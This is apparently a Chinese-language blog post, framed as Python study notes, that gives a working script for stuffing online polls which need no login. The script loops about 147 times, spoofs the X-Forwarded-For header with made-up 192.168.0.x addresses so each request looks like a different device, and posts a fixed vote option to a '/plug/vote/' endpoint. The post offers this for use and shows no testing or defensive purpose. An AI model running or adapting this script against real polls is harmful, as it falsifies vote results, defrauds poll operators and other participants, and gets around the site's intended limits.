[python 学习笔记] 简单刷投票功能
最近好久没写了,其实有道云里积累了好多,但是没时间整理。
实在是太多事情要做了
好多投票都是不需要登录的,这种刷起来很简单。 原理就是 X-Forwarded-For 。废话不多说上代码
import requests
import time
host = 'xx'
def getSession():
ss = requests.session()
ss.headers['Host']= host
ss.headers['Connection']=r'keep-alive'
ss.headers['Accept']=r'*/*'
ss.headers['Origin']=r'http://zhengwen.hecul.com'
ss.headers['X-Requested-With']=r'XMLHttpRequest'
ss.headers['User-Agent']=r'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36'
ss.headers['Content-Type']=r'application/x-www-form-urlencoded; charset=UTF-8'
ss.headers['Referer']=host
ss.headers['Accept-Encoding']=r'gzip, deflate'
ss.headers['Accept-Language']=r'zh-CN,zh;q=0.8,en;q=0.6,en-GB;q=0.4'
return ss
for x in range(3,150):
try:
time.sleep(3)
ss = getSession()
# 模拟同一wifi不同设备。
ss.headers["X-Forwarded-For"] = '192.168.0.'+ str(x)
# 获取cookie
ss.get(host)
# 设置数据长度。可以由下边 data 获取
data='id=2&voteoption=101'
ss.headers['Content-Length'] = str(len(data))
# 发送数据
r = ss.post(r'%s/plug/vote/'%host,data=data)
print(r.text)
except Exception as e:
print(str(e))
pass